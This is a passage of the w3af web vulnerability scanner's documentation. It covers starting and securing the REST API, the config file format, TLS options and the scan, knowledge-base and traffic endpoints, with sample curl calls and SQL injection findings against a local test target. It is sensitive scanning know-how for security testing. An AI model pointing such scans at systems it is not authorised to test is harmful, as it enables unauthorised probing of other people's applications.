We recommend you read through the w3af users guide before diving into this REST API-specific section.
3.1.1 Starting the REST API service
The REST API can be started by running:
$ ./w3af_api
* Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
Or it can also be run inside a docker container:
$ cd extras/docker/scripts/
$ ./w3af_api_docker
* Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
3.1.2 Authentication
It is possible to require HTTP basic authentication for all REST API requests by specifying a SHA512-hashed password on the command line (with -p <SHA512_HASH>) or in a configuration file using the password: directive
(see the section below for more information about configuration files).
Linux or Mac users can generate a SHA512 hash from a plaintext password by running:
$ echo -n "secret" | sha512sum
bd2b1aaf7ef4f09be9f52ce2d8d599674d81aa9d6a4421696dc4d93dd0619d682ce56b4d64a9ef097761ced99e0f67265b5f7
$ ./w3af_api -p "bd2b1aaf7ef4f09be9f52ce2d8d599674d81aa9d6a4421696dc4d93dd0619d682ce56b4d64a9ef097761
* Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
In the above example, users are only able to connect using HTTP basic authentication with the default username
admin and the password secret.
For example, using the curl command:
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$ curl -u admin:secret http://127.0.0.1:5000
{
"docs": "http://docs.w3af.org/en/latest/api/index.html"
}
Please note that even with basic authentication, traffic passing to and from the REST API is not encrypted, meaning that
authentication and vulnerability information could still be sniffed by an attacker with “man-in-the-middle” capabilities.
When running the REST API on a publicly available IP address we recommend taking additional precautions including
running it behind an SSL proxy server (such as Pound, nginx, or Apache with mod_proxy enabled).
3.1.3 Config file format
Using a configuration file is optional and is simply a convenient place to store settings that could otherwise be specified
using command line arguments.
The configuration file is in standard YAML format and accepts any of the options found on the command line. A
sample configuration file would look like this:
# This is a comment
host: '127.0.0.1'
port: 5000
verbose: False
username: 'admin'
# The SHA512-hashed password is 'secret'. We don't recommend using this.
password: 'bd2b1aaf7ef4f09be9f52ce2d8d599674d81aa9d6a4421696dc4d93dd0619d682ce56b4d64a9ef097761ced99e
In the above example, all values except password are the defaults and could have been omitted from the configuration
file without changing the way the API runs.
3.1.4 Serve using TLS/SSL
w3af‘s REST API is served using Flask, which can be used to deliver content over TLS/SSL. By default w3af will
generate a self signed certificate and bind to port 5000 using the https protocol.
To disable https users can set the --no-ssl command line argument.
Advanced users who want to use their own SSL certificates can:
• Start w3af in HTTP mode and use a proxy such as nginx to handle the SSL traffic and forward unencrypted
traffic to the REST API.
• Copy the user generated SSL certificate and key to /.w3af/ssl/w3af.crt
/.w3af/ssl/w3af.key and start ./w3af_api without --no-ssl.
and
Note: Using nginx to serve w3af‘s API will give the user more configuration options and security than running
SSL in w3af_api.
3.1.5 REST API Source code
The REST API is implemented in Flask and is pretty well documented for your reading pleasure.
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3.1.6 REST API clients
Wrote a REST API client? Let us know and get it linked here!
• Official Python REST API client which is also available at pypi
3.1.7 API endpoints
The /scans/ resource
Scanning a Web application using w3af’s REST API requires the developer to understand this basic workflow:
• Start a new scan using POST to /scans/
• Get the scan status using GET to /scans/0
• Use The /kb/ resource to get information about the identified vulnerabilities
• Clear all scan results before starting a new scan by sending a DELETE to /scans/0
Optionally send these requests to control and monitor the scan:
• Get a list of all currently running scans using a GET to /scans/
• Pause the scan using GET to /scans/0/pause
• Stop the scan using GET to /scans/0/stop
• Retrieve the scan log using GET to /scans/0/log
Warning: The current REST API implementation does not allow users to run more than one concurrent scan.
Note: In the previous examples I’ve used /scans/0 (note the hard-coded zero in the URL) as an example. When
starting a new scan a new ID will be created.
Starting a scan
Performing a POST to the /scans/ resource is one of the most complex requests in our REST API. The call requires
two specially crafted variables:
• scan_profile which must contain the contents of a w3af scan profile (not the file name)
• target_urls a list containing URLs to seed w3af‘s crawler
import requests
import json
data = {'scan_profile': file('/path/to/profile.pw3af').read(),
'target_urls': ['http://127.0.0.1:8000/audit/sql_injection/']}
response = requests.post('http://127.0.0.1:5000/scans/',
data=json.dumps(data),
headers={'content-type': 'application/json'})
Note: Remember to send the Content-Type:
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Note: In order to avoid issues with incorrect paths referenced by a plugin configuration inside the scan_profile
it is recommended to use self-contained profiles.
The /kb/ resource
Once a w3af scan has started the knowledge base is populated with the vulnerabilities which are identified by the
plugins. This information can be accessed using the REST API using these resources:
• /scans/<scan-id>/kb/ returns all the identified vulnerabilities in a list
• /scans/<scan-id>/kb/<vulnerability-id> returns detailed information about a vulnerability
List
Get a list of all known vulnerabilities:
$ curl http://127.0.0.1:5000/scans/0/kb/
{
"items": [
{
"href": "/scans/0/kb/0",
"id": 0,
"name": "SQL injection",
"url": "http://127.0.0.1:8000/audit/sql_injection/where_integer_qs.py"
},
{
"href": "/scans/0/kb/1",
"id": 1,
"name": "SQL injection",
"url": "http://127.0.0.1:8000/audit/sql_injection/where_string_single_qs.py"
},
{
"href": "/scans/0/kb/2",
"id": 2,
"name": "SQL injection",
"url": "http://127.0.0.1:8000/audit/sql_injection/where_integer_form.py"
},
{
"href": "/scans/0/kb/3",
"id": 3,
"name": "SQL injection",
"url": "http://127.0.0.1:8000/audit/sql_injection/where_integer_form.py"
}
]
}
Knowledge base filters
It is possible to filter the vulnerability list using two different query string parameters, name and url. If more than
one filter is provided in the HTTP request then they are combined using the AND boolean expression.
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Details
Get detailed information about a specific vulnerability:
$ curl http://127.0.0.1:5000/scans/0/kb/1
{
"attributes": {
"db": "Unknown database",
"error": "syntax error"
},
"cwe_ids": [
"89"
],
"cwe_urls": [
"https://cwe.mitre.org/data/definitions/89.html"
],
"desc": "SQL injection in a Unknown database was found at: \"http://127.0.0.1:8000/audit/sql_inject
"fix_effort": 50,
"fix_guidance": "The only proven method to prevent against SQL injection attacks while still mainta
"highlight": [
"syntax error"
],
"href": "/scans/0/kb/1",
"id": 1,
"long_description": "Due to the requirement for dynamic content of today's web applications, many r
"name": "SQL injection",
"owasp_top_10_references": [
{
"link": "https://www.owasp.org/index.php/Top_10_2013-A1",
"owasp_version": "2013",
"risk_id": 1
}
],
"plugin_name": "sqli",
"references": [
{
"title": "SecuriTeam",
"url": "http://www.securiteam.com/securityreviews/5DP0N1P76E.html"
},
{
"title": "Wikipedia",
"url": "http://en.wikipedia.org/wiki/SQL_injection"
},
{
"title": "OWASP",
"url": "https://www.owasp.org/index.php/SQL_Injection"
},
{
"title": "WASC",
"url": "http://projects.webappsec.org/w/page/13246963/SQL%20Injection"
},
{
"title": "W3 Schools",
"url": "http://www.w3schools.com/sql/sql_injection.asp"
},
{
"title": "UnixWiz",
"url": "http://unixwiz.net/techtips/sql-injection.html"
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}
],
"response_ids": [
45
],
"traffic_hrefs": [
"/scans/0/traffic/45"
],
"severity": "High",
"tags": [
"web",
"sql",
"injection",
"database",
"error"
],
"url": "http://127.0.0.1:8000/audit/sql_injection/where_string_single_qs.py",
"var": "uname",
"vulndb_id": 45,
"wasc_ids": [],
"wasc_urls": []
}
The /version resource
Query the w3af version using the REST API:
$ curl http://127.0.0.1:5000/version
{
"branch": "develop",
"dirty": "Yes",
"revision": "f1cae98161 - 24 Jun 2015 16:29",
"version": "1.7.2"
}
The /traffic/ resource
Once a w3af scan starts the plugins send HTTP requests which get stored in an internal database.
HTTP requests and responses associated with a vulnerability can be accessed using the REST API at
/scans/<scan-id>/traffic/<traffic-id>.
The most common flow is to access the vulnerability details at /scans/<scan-id>/kb/<vulnerability-id>
and use the traffic_hrefs object attribute to perform requests to the traffic resources.
Encoding
The HTTP request and response is encoded using base64 in order to allow the REST API to send special characters
(null bytes, etc.) without encoding problems.
The /urls/ resource
Once a w3af scan starts the crawl plugins find new URLs which get stored in the knowledge base, this information
is important for the user to understand which parts of the application were scanned and can be accessed using the
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REST API endpoint at /scans/<scan-id>/urls/.
The /fuzzable-requests/ resource
Advanced users will find the /urls/ information insufficient since it lacks the parameters (query string, post-data,
json) and headers which were identified by w3af. The /scans/<scan-id>/fuzzable-requests/ endpoint
returns a list with all the raw HTTP requests that the scanner will use during the audit phase.
Encoding
The fuzzable requests is encoded using base64 in order to allow the REST API to send special characters (null bytes,
etc.) without encoding problems.
The /exceptions/ resource
In most cases w3af will complete the scan process without raising any exceptions, but when it does all the information
related to the raised exceptions is stored and accessible using the /scans/<scan-id>/exceptions/ endpoint.
Reporting vulnerabilities
If you’re writing a client that will consume w3af‘s REST API please consider implementing an automated bug report
feature that will read the exceptions at the end of the scan and create an issue in our github repository.
The traceback and all the reported exception data is sanitized before leaving the REST API, the data will not contain
the target domain, user information or any other information from the target web application or host where the scanner
is running.
Please contact us at our IRC channel if you’ve got any doubts about this.
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CHAPTER 4
Advanced tips and tricks
4.1 Advanced tips and tricks
4.1.1 Memory usage and caches
w3af uses various types of caches to speed-up the scan process, one of the most important ones is an in-memory
cache which holds the result of parsing an HTTP response body. Parsing HTTP response bodies in a CPU intensive
process, and different w3af plugins might want to parse the same response so it makes a lot of sense to use a cache in
this situation.
The ParserCache is a LRU cache which holds the items in memory to provide fast access. Some advanced users might
note that the cache size is set to a constant (10 at the time of writing this documentation), which has these side effects:
• w3af will consume ~250MB of RAM, most of it allocated by the cache.
• When run on a system with low free RAM using ~250MB is good, since we want to avoid operating system
swapping pages to disk.
• When run on a system with 8GB of free RAM w3af could be adding more items to the cache and, increase the
cache hit-rate, reduce the CPU usage and overall scan time.
Most users won’t even notice all this and use w3af without this advanced tweak, but feel free to adjust the
CACHE_SIZE = 10 to any value that fits your needs.
In order to debug the cache hit-rate (which should increase with the CACHE_SIZE) run w3af with the
W3AF_CORE_PROFILING environment variable set to 1 and inspect the JSON files at /tmp/w3af-*.core
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